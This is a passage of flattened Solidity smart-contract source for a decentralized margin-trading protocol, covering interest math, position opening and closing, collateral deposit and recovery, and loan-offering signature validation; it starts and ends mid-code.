338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
